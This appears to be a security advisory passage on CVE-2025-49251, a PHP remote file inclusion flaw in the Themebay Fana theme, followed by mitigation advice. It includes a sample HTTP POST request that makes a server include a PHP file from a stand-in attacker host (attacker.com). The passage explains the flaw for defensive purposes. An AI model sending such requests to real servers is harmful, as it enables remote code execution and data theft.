How the Exploit Works
The vulnerability, CVE-2025-49251, lies within the ‘include’ or ‘require’ statement in the PHP program of Themebay Fana. It allows an attacker to manipulate the filename that is passed to these statements and thus include a remote file. This remote file can contain malicious PHP code that gets executed on the server. This can lead to unauthorized system access and potential data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited using an HTTP request. The attacker sends a POST request that includes a malicious payload designed to exploit the PHP Remote File Inclusion vulnerability:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"include_file": "http://attacker.com/malicious_file.php"
}In this example, the attacker is attempting to include a malicious file from their server. If the server is vulnerable, this file will be included and executed, leading to potential system compromise or data leakage.
Mitigation and Prevention
The primary method to mitigate this vulnerability is to apply the vendor’s patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Further, it’s always a good practice to sanitize and validate all user inputs and restrict the use of the ‘include’ and ‘require’ statements to prevent these types of vulnerabilities.
Always ensure that your systems are regularly updated and patched to prevent exploitation of known vulnerabilities.
